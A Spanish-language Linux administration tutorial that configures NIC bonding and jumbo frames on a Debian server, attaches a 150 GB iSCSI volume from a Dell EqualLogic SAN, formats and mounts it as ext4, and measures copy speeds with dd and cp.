04:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)
04:00.1 Ethernet controller: Broadcom Corporation NetXtreme II BCM5709 Gigabit Ethernet (rev 20)

Nos basaremos en la siguiente wiki para realizar el procedimiento: Bonding.

root@elmulo:~# aptitude install ifenslave-2.6
The following NEW packages will be installed:
  ifenslave-2.6 
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 18.4 kB of archives. After unpacking 143 kB will be used.
Get:1 http://mirrors.kernel.org/debian/ squeeze/main ifenslave-2.6 amd64 1.1.0-17 [18.4 kB]
Fetched 18.4 kB in 0s (36.7 kB/s)     
Selecting previously deselected package ifenslave-2.6.
(Reading database ... 14392 files and directories currently installed.)
Unpacking ifenslave-2.6 (from .../ifenslave-2.6_1.1.0-17_amd64.deb) ...
Processing triggers for man-db ...
Setting up ifenslave-2.6 (1.1.0-17) ...
update-alternatives: using /sbin/ifenslave-2.6 to provide /sbin/ifenslave (ifenslave) in auto mode.

Después de la instalación del paquete nos toca configurar nuestro archivo de red para especificar los parámetros del bond a crear que básicamente serán que interfaces de red se usaran así como el tipo de bonding que utilizaremos. Los parámetros de nuestra primera interfaz fueron establecidos desde la instalación del sistema operativo, lo demás lo adicionaremos de una manera similar especificando dirección de red, mascara, interfaces, tipo de bond y parámetros adicionales.

root@elmulo:~# cat /etc/network/interfaces 
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback
 
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
        address 192.168.100.51
        netmask 255.255.255.0
        network 192.168.100.0
        broadcast 192.168.100.255
        gateway 192.168.100.254
        # dns-* options are implemented by the resolvconf package, if installed
        dns-nameservers 8.8.8.8 8.8.4.4
 
auto bond0
 
iface bond0 inet static
    address 172.16.0.151
    netmask 255.255.0.0
    network 172.16.0.0
    slaves eth2 eth3
    bond-mode balance-rr
    bond-miimon 100
    bond-downdelay 200
    bond-updelay 200

Necesitamos configurar el modulo del kernel y creamos un archivo dentro de modprobe.d como se muestra a continuación.

root@elmulo:~# cd /etc/modprobe.d/
root@elmulo:/etc/modprobe.d# cat > aliases-bond.conf
alias bond0 bonding
        options bonding mode=0 miimon=100
<CTRL-D>

Levantamos la interfaz recién creada.

root@elmulo:/etc/modprobe.d# cd
root@elmulo:~# ifup bond0

Verificamos los parámetros de red y confirmamos que la interfaz bond esta activa y las interfaces asociadas a este también se encuentran en el mismo estado y se agregan en la información que se despliega junto a la interfaz primaria.

root@elmulo:~# ifconfig
bond0     Link encap:Ethernet  HWaddr 00:21:9b:9f:18:72  
          inet addr:172.16.0.151  Bcast:172.16.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
 
eth0      Link encap:Ethernet  HWaddr 00:21:9b:9f:18:6e  
          inet addr:192.168.100.51  Bcast:192.168.100.255  Mask:255.255.255.0
          inet6 addr: fe80::221:9bff:fe9f:186e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22819 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3978 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9070886 (8.6 MiB)  TX bytes:338475 (330.5 KiB)
          Interrupt:36 Memory:d2000000-d2012800 
 
eth2      Link encap:Ethernet  HWaddr 00:21:9b:9f:18:72  
          UP BROADCAST SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:32 Memory:d6000000-d6012800 
 
eth3      Link encap:Ethernet  HWaddr 00:21:9b:9f:18:72  
          UP BROADCAST SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:42 Memory:d8000000-d8012800 
 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:392 (392.0 B)  TX bytes:392 (392.0 B)

Verificando los registros del sistema vemos que el bond se activo pero no esta operativo debido a que no se han conectado cables de red a los componentes de la LAN.

root@elmulo:~# tail -n 20 -f /var/log/messages
Nov 23 06:25:01 elmulo rsyslogd: [origin software="rsyslogd" swVersion="4.6.4" x-pid="1095" x-info="http://www.rsyslog.com"] rsyslogd was HUPed, type 'lightweight'.
Nov 23 09:57:19 elmulo kernel: [105971.052864] bnx2: eth0 NIC Copper Link is Up, 1000 Mbps full duplex
Nov 23 09:57:19 elmulo kernel: [105971.053236] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
Nov 23 10:21:58 elmulo kernel: [107449.542754] Ethernet Channel Bonding Driver: v3.5.0 (November 4, 2008)
Nov 23 10:21:58 elmulo kernel: [107449.542758] bonding: MII link monitoring set to 100 ms
Nov 23 10:21:58 elmulo kernel: [107449.544150] bonding: bond0: setting mode to balance-rr (0).
Nov 23 10:21:58 elmulo kernel: [107449.544173] bonding: bond0: Setting MII monitoring interval to 100.
Nov 23 10:21:58 elmulo kernel: [107449.544195] bonding: bond0: Setting up delay to 200.
Nov 23 10:21:58 elmulo kernel: [107449.544210] bonding: bond0: Setting down delay to 200.
Nov 23 10:21:59 elmulo kernel: [107449.561893] bonding: bond0: doing slave updates when interface is down.
Nov 23 10:21:59 elmulo kernel: [107449.561895] bonding: bond0: Adding slave eth2.
Nov 23 10:21:59 elmulo kernel: [107449.561897] bonding bond0: master_dev is not up in bond_enslave
Nov 23 10:21:59 elmulo kernel: [107449.654579] bnx2: eth2: using MSIX
Nov 23 10:21:59 elmulo kernel: [107449.654912] bonding: bond0: enslaving eth2 as an active interface with a down link.
Nov 23 10:21:59 elmulo kernel: [107449.690706] bonding: bond0: doing slave updates when interface is down.
Nov 23 10:21:59 elmulo kernel: [107449.690711] bonding: bond0: Adding slave eth3.
Nov 23 10:21:59 elmulo kernel: [107449.690713] bonding bond0: master_dev is not up in bond_enslave
Nov 23 10:21:59 elmulo kernel: [107449.774441] bnx2: eth3: using MSIX
Nov 23 10:21:59 elmulo kernel: [107449.774768] bonding: bond0: enslaving eth3 as an active interface with a down link.
Nov 23 10:21:59 elmulo kernel: [107449.778043] ADDRCONF(NETDEV_UP): bond0: link is not ready

Conectamos una de las interfaces.

Nov 23 10:33:27 elmulo kernel: [108137.887591] bnx2: eth2 NIC Copper Link is Up, 1000 Mbps full duplex, receive & transmit flow control ON
Nov 23 10:33:27 elmulo kernel: [108137.947373] bonding: bond0: link status up for interface eth2, enabling it in 200 ms.
Nov 23 10:33:28 elmulo kernel: [108138.147249] bonding: bond0: link status definitely up for interface eth2.
Nov 23 10:33:28 elmulo kernel: [108138.147615] ADDRCONF(NETDEV_CHANGE): bond0: link becomes ready

Conectamos la segunda interfaz.

Nov 23 10:48:00 elmulo kernel: [109009.830462] bnx2: eth3 NIC Copper Link is Up, 1000 Mbps full duplex, receive & transmit flow control ON
Nov 23 10:48:00 elmulo kernel: [109009.902823] bonding: bond0: link status up for interface eth3, enabling it in 200 ms.
Nov 23 10:48:00 elmulo kernel: [109010.102699] bonding: bond0: link status definitely up for interface eth3.

Ahora nuestro bond esta completamente activo en modo round-robin, lo podemos verificar con la siguiente instrucción.

root@elmulo:~# cat /sys/class/net/bond0/bonding/mode
balance-rr 0

Cambiaremos el MTU del bond y de las interfaces que lo componen para conectarnos usando Jumbo Frames a nuestro equipo de almacenamiento.

root@elmulo:~# ifconfig eth2 mtu 9000
root@elmulo:~# ifconfig eth3 mtu 9000
root@elmulo:~# ifconfig bond0 mtu 9000

Lista la parte de conexión pasamos a la parte de aplicación instalando el iniciador de iSCSI.

root@elmulo:~# aptitude install open-iscsi
The following NEW packages will be installed:
  open-iscsi 
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 332 kB of archives. After unpacking 868 kB will be used.
Get:1 http://mirrors.kernel.org/debian/ squeeze/main open-iscsi amd64 2.0.871.3-2squeeze1 [332 kB]
Fetched 332 kB in 1s (297 kB/s)     
Selecting previously deselected package open-iscsi.
(Reading database ... 15954 files and directories currently installed.)
Unpacking open-iscsi (from .../open-iscsi_2.0.871.3-2squeeze1_amd64.deb) ...
Processing triggers for man-db ...
Setting up open-iscsi (2.0.871.3-2squeeze1) ...

Ponemos el servicio en automático.

root@elmulo:~# vim /etc/iscsi/iscsid.conf
.
node.startup = automatic
.

Reiniciamos el servicio.

root@elmulo:~# /etc/init.d/open-iscsi restart
Unmounting iscsi-backed filesystems: Unmounting all devices marked _netdev.
Disconnecting iSCSI targets:.
Stopping iSCSI initiator service:.
Starting iSCSI initiator service: iscsid.
Setting up iSCSI targets:
iscsiadm: No records found!
.
Mounting network filesystems:.
root@elmulo:~# cat /etc/iscsi/initiatorname.iscsi
## DO NOT EDIT OR REMOVE THIS FILE!
## If you remove this file, the iSCSI daemon will not start.
## If you change the InitiatorName, existing access control lists
## may reject this initiator.  The InitiatorName must be unique
## for each iSCSI initiator.  Do NOT duplicate iSCSI InitiatorNames.
InitiatorName=iqn.1993-08.org.debian:01:cdfe4ea8ecd0

Utilizaremos el acceso por IQN que lo obtuvimos del archivo initiatorname.iscsi, mas adelante veremos que esta es una de las formas de autenticación de EqualLogic para acceder a un volumen.

InitiatorName=iqn.1993-08.org.debian:01:cdfe4ea8ecd0

Ahora el siguiente paso es crear un volumen en nuestra SAN para poder continuar, lo crearemos con un tamaño de 150 GB, a continuación se muestran los pasos mediante el CLI de EqualLogic que ejemplifican este proceso.

Entramos mediante telnet a la linea de comandos del sistema EqualLogic.

gabriel@giskard:~$ telnet 172.16.0.XXX
Trying 172.16.0.XXX...
Connected to 172.16.0.XXX.
Escape character is '^]'.
 
PS Series Storage Arrays
Unauthorized Access Prohibited
 
login: gabriel
Password:
 
 
           Welcome to Group Manager
 
        Copyright 2001-2011 Dell, Inc.
 
 
 
Grupo2> 
32722:315:EQL2:netmgtd:22-Nov-2012 19:41:16.596159:rcc_util.c:738:INFO:25.2.9:CLI: Login to account gabriel succeeded.

Mediante la instrucción volume create Fotos-Sin 150GB, creamos un volumen llamado Fotos-Sin con un tamaño de 150 GB, que tomara los parámetros predeterminados del sistema.

Grupo2> volume create Fotos-Sin 150GB
Volume creation succeeded.
iSCSI target name is iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850
aed-fotos-sin.
Grupo2> 
32728:10471:EQL2:MgmtExec:22-Nov-2012 19:42:30.709363:VolInfo.cc:79:INFO:8.2.2:Volume 'Fotos-Sin' successfully created.

Para ver la descripción del volumen creado utilizamos la instrucción volume show Fotos-Sin.

Grupo2> volume show Fotos-Sin 
_____________________________ Volume Information ______________________________
Name: Fotos-Sin                        Size: 150GB                            
VolReserve: 150GB                      VolReserveInUse: 0MB                   
ReplReserveInUse: 0MB                  iSCSI Alias: Fotos-Sin                 
iSCSI Name:                            ActualMembers: 1                       
  iqn.2001-05.com.equallogic:0-8a0906- Snap-Warn: 10%                         
  48624a509-b290018545850aed-fotos-sin Snap-Depletion: delete-oldest          
Description:                           Snap-Reserve: 100%                     
Snap-Reserve-Avail: 100% (150GB)       Permission: read-write                 
DesiredStatus: online                  Status: online                         
Connections: 0                         Snapshots: 0                           
Bind:                                  Type: not-replicated                   
ReplicationReserveSpace: 0MB           Replicas: 0                            
ReplicationPartner:                    Pool: default                          
Transmitted-Data: 0MB                  Received-Data: 0MB                     
Pref-Raid-Policy: none                 Pref-Raid-Policy-Status: none          
Thin-Provision: disabled               Thin-Min-Reserve: 0% (0MB)             
Thin-Growth-Warn: 0% (0MB)             Thin-Growth-Max: 0% (0MB)              
ReplicationTxData: 0MB                 MultiHostAccess: disabled              
iSNS-Discovery: disabled               Replica-Volume-Reserve: 0MB            
Thin-Clone: N                          Template: N                            
Administrator:                                                                 
_______________________________________________________________________________
 
 
_______________________________ Access Records ________________________________
 
 
ID  Initiator                     Ipaddress       AuthMethod UserName   Apply-To
 
--- ----------------------------- --------------- ---------- ---------- --------
 
 
 
____________________________ Operations InProgress ____________________________
 
 
ID StartTime            Progress Operation Details                              
 
-- -------------------- -------- ---------------------------------------------- 
 
Grupo2>

Y aquí es donde daremos acceso a nuestro servidor mediante su IQN al volumen de Fotos-Sin, con la siguiente instrucción: volume select Fotos-Sin access create initiator iqn.1993-08.org.debian:01:cdfe4ea8ecd0

Initiator:iqn.1993-08.org.debian:01:cdfe4ea8ecd0
Target: iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin
Grupo2> volume select Fotos-Sin access create initiator iqn.1993-08.org.debian:0
1:cdfe4ea8ecd0
Access control record created with ID 1.
Grupo2> volume select Fotos-Sin access show                                     
ID  Initiator                     Ipaddress       AuthMethod UserName   Apply-To
 
--- ----------------------------- --------------- ---------- ---------- --------
 
1   iqn.1993-08.org.debian:01:cdf *.*.*.*         none                  both    
 
      e4ea8ecd0                                                                 
 
Grupo2>

Volvemos a la parte de nuestro servidor para continuar el proceso y lo haremos lanzando un descubrimiento a la dirección IP de nuestro sistema de almacenamiento para ver los volúmenes a los que tenemos acceso.

root@elmulo:~# iscsiadm -m discovery -t st -p 172.16.0.XXX
172.16.0.XXX:3260,1 iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin
root@elmulo:~# iscsiadm -m node
172.16.0.XXX:3260,1 iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin

Después de descubrir nuestro target iniciamos sesión en el para conectarnos y empezar a trabajar con el como si fuera un disco duro mas en nuestro sistema.

root@elmulo:~# iscsiadm -m node --targetname "iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin" --portal "172.16.0.XXX:3260" --login
Logging in to [iface: default, target: iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin, portal: 172.16.0.XXX,3260]
Login to [iface: default, target: iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin, portal: 172.16.0.XXX,3260]: successful

Después de conectarnos vamos a nuestro storage a ver un poco de sus logs y notamos que efectivamente se conecto usando Jumbo Frames (MTU 9000), using Jumbo Frame length.

32901:10603:EQL2:MgmtExec:25-Nov-2012 00:01:47.137815:targetAttr.cc:759:INFO:7.2.14:iSCSI login to target '172.16.0.XXX:3260, iqn.2001-05.com.equallogic:0-8a0906-48624a509-b290018545850aed-fotos-sin' from initiator '172.16.0.151:50683, iqn.1993-08.org.debian:01:cdfe4ea8ecd0' successful, using Jumbo Frame length.

Con fdisk vemos que tenemos nuestro dispositivo listo para crear una partición en el, nos dice que son 161.1 GB pero nosotros creamos un espacio de 150, lo que pasa que nos lo esta mostrando con tomando como base 1000 y no 1024, 150*1024*1024*1024 = 161061273600 bytes.

root@elmulo:~# fdisk -l
.
.
Disk /dev/sdc: 161.1 GB, 161061273600 bytes
255 heads, 63 sectors/track, 19581 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
 
Disk /dev/sdc doesn't contain a valid partition table

Creamos una partición primaria de tipo Linux usando todo el espacio disponible.

root@elmulo:~# fdisk /dev/sdc
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0x228dfc1d.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.
 
Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)
 
WARNING: DOS-compatible mode is deprecated. It's strongly recommended to
         switch off the mode (command 'c') and change display units to
         sectors (command 'u').
 
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-19581, default 1): 
Using default value 1
Last cylinder, +cylinders or +size{K,M,G} (1-19581, default 19581): 
Using default value 19581
 
Command (m for help): t
Selected partition 1
Hex code (type L to list codes): 83
 
Command (m for help): w
The partition table has been altered!
 
Calling ioctl() to re-read partition table.
Syncing disks.

Volvemos a verificar con fdisk y ya nos indica la partición lista, solo queda darle formato con algún sistema de archivos propios de Linux.

root@elmulo:~# fdisk -l
.
.
Disk /dev/sdc: 161.1 GB, 161061273600 bytes
255 heads, 63 sectors/track, 19581 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x228dfc1d
 
   Device Boot      Start         End      Blocks   Id  System
/dev/sdc1               1       19581   157284351   83  Linux

Vamos a dar formato a la partición con el sistema de archivos ext4.

root@elmulo:~# mkfs.ext4 /dev/sdc1
mke2fs 1.41.12 (17-May-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
9830400 inodes, 39321087 blocks
1966054 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
1200 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks: 
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
        4096000, 7962624, 11239424, 20480000, 23887872
 
Writing inode tables: done                            
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
 
This filesystem will be automatically checked every 31 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

Creamos un directorio donde poder montar nuestra nueva partición.

root@elmulo:~# mkdir /U1
root@elmulo:~# mount /dev/sdc1 /U1/
root@elmulo:~# mount
/dev/mapper/elmulo-root on / type ext3 (rw,errors=remount-ro)
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
udev on /dev type tmpfs (rw,mode=0755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
/dev/sda1 on /boot type ext2 (rw)
/dev/sdc1 on /U1 type ext4 (rw)

Vemos que esta montada correctamente por lo tanto ya podemos empezar a guardar unos cuantos archivos.

root@elmulo:~# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/mapper/elmulo-root
                     134526224  53112252  74580412  42% /
tmpfs                  2024052         0   2024052   0% /lib/init/rw
udev                   2018716       164   2018552   1% /dev
tmpfs                  2024052         0   2024052   0% /dev/shm
/dev/sda1               233191     15946    204804   8% /boot
/dev/sdc1            154816488    191936 146760336   1% /U1

Antes de empezar a copiar y hacer otras pruebas, veremos que tanto afecto en tamaño al volumen los pasos de crear una partición y dar formato, para eso necesitamos conectarnos a nuestro EqualLogic y sacar unos datos. En el desplegado de información del volumen en la sección de Access Records se encuentra nuestro servidor mediante su IQN y de que actualmente tiene ocupado 3.79 GB debido a la creación de la partición y el formato del sistema de archivos y que debido a esos procedimientos el volumen recibió 2.47 GB de información.

Grupo2> volume show Fotos-Sin 
_____________________________ Volume Information ______________________________
Name: Fotos-Sin                        Size: 150GB                            
VolReserve: 150GB                      VolReserveInUse: 3.79GB                
ReplReserveInUse: 0MB                  iSCSI Alias: Fotos-Sin                 
iSCSI Name:                            ActualMembers: 1                       
  iqn.2001-05.com.equallogic:0-8a0906- Snap-Warn: 10%                         
  48624a509-b290018545850aed-fotos-sin Snap-Depletion: delete-oldest          
Description:                           Snap-Reserve: 100%                     
Snap-Reserve-Avail: 100% (150GB)       Permission: read-write                 
DesiredStatus: online                  Status: online                         
Connections: 1                         Snapshots: 0                           
Bind:                                  Type: not-replicated                   
ReplicationReserveSpace: 0MB           Replicas: 0                            
ReplicationPartner:                    Pool: default                          
Transmitted-Data: 1MB                  Received-Data: 2.47GB                  
Pref-Raid-Policy: none                 Pref-Raid-Policy-Status: none          
Thin-Provision: disabled               Thin-Min-Reserve: 0% (0MB)             
Thin-Growth-Warn: 0% (0MB)             Thin-Growth-Max: 0% (0MB)              
ReplicationTxData: 0MB                 MultiHostAccess: disabled              
iSNS-Discovery: disabled               Replica-Volume-Reserve: 0MB            
Thin-Clone: N                          Template: N                            
Administrator:                                                                 
_______________________________________________________________________________
 
 
_______________________________ Access Records ________________________________
 
 
ID  Initiator                     Ipaddress       AuthMethod UserName   Apply-To
 
--- ----------------------------- --------------- ---------- ---------- --------
 
1   iqn.1993-08.org.debian:01:cdf *.*.*.*         none                  both    
 
      e4ea8ecd0                                                                 
 
 
 
____________________________ Operations InProgress ____________________________

Si tomamos el parámetro de que 150 GB son 161061273600 bytes, y que mediante el comando df el sistema nos muestra que tenemos un disco con un tamaño de 154816488 kB que son 158532083712 bytes, tenemos una diferencia de 2529189888 bytes que son 2.36 GB aproximadamente los cuales se ven disminuidos como resultado de los procesos de partición y formato. Ahora vamos a realizar una prueba de copiado para lo cual generaremos un archivo de 50 GB y lo copiaremos en nuestro nuevo almacenamiento.

root@elmulo:~# dd if=/dev/zero of=/tmp/archivo50G bs=1G count=50
50+0 records in
50+0 records out
53687091200 bytes (54 GB) copied, 548.544 s, 97.9 MB/s
root@elmulo:~# ls -l /tmp/
total 52480056
-rw-r--r-- 1 root root 53687091200 Oct  7 19:58 archivo50G
root@elmulo:~# cp /tmp/archivo50G /U1/

Le llevo 7 minutos copiar 50 GB mediante el comando cp, vamos a ver cuanto le lleva copiar los mismos 50 GB directamente con el comando dd.

root@elmulo:~# dd if=/dev/zero of=/U1/archivo50G-DD bs=1G count=50
50+0 records in
50+0 records out
53687091200 bytes (54 GB) copied, 433.233 s, 124 MB/s

Nos arroja 433 segundos que son poco mas que 7 minutos que es el mismo tiempo de la primer copia, vemos el estado del volumen que muestra ya su espacio ocupado.

Grupo2> show volume Fotos-Sin
_____________________________ Volume Information ______________________________
Name: Fotos-Sin                        Size: 150GB                            
VolReserve: 150GB                      VolReserveInUse: 103.74GB              
ReplReserveInUse: 0MB                  iSCSI Alias: Fotos-Sin                 
iSCSI Name:                            ActualMembers: 1                       
  iqn.2001-05.com.equallogic:0-8a0906- Snap-Warn: 10%                         
  48624a509-b290018545850aed-fotos-sin Snap-Depletion: delete-oldest          
Description:                           Snap-Reserve: 100%                     
Snap-Reserve-Avail: 100% (150GB)       Permission: read-write                 
DesiredStatus: online                  Status: online                         
Connections: 1                         Snapshots: 0                           
Bind:                                  Type: not-replicated                   
ReplicationReserveSpace: 0MB           Replicas: 0                            
ReplicationPartner:                    Pool: default                          
Transmitted-Data: 1MB                  Received-Data: 102.49GB                
Pref-Raid-Policy: none                 Pref-Raid-Policy-Status: none          
Thin-Provision: disabled               Thin-Min-Reserve: 0% (0MB)             
Thin-Growth-Warn: 0% (0MB)             Thin-Growth-Max: 0% (0MB)              
ReplicationTxData: 0MB                 MultiHostAccess: disabled              
iSNS-Discovery: disabled               Replica-Volume-Reserve: 0MB            
Thin-Clone: N                          Template: N                            
Administrator:                                                                 
_______________________________________________________________________________

Borramos los archivos anteriores y volvemos a crear un archivo de 100 GB.

root@elmulo:~# dd if=/dev/zero of=/U1/archivo100G-DD bs=1G count=100
100+0 records in
100+0 records out
107374182400 bytes (107 GB) copied, 869.745 s, 123 MB/s

Le tomo 14 minutos y medio la copia de 100 GB, el tiempo concuerda con que seria el doble.

Ya con esto realizado, podemos instalar un servicio como SAMBA, FTP, como disco duro para maquinas virtuales o simplemente para respaldos de archivos. Más adelante pretendo documentar un poco mas cuestiones como recuperar archivos a partir de un snapshot o incrementar el tamaño del volumen.

Referencias para saber más:

http://phenobarbital.wordpress.com/2011/06/22/linux-guia-rapida-de-network-bonding-en-debian/
http://wiki.debian.org/Bonding
http://www.howtoforge.com/using-iscsi-on-debian-lenny-initiator-and-target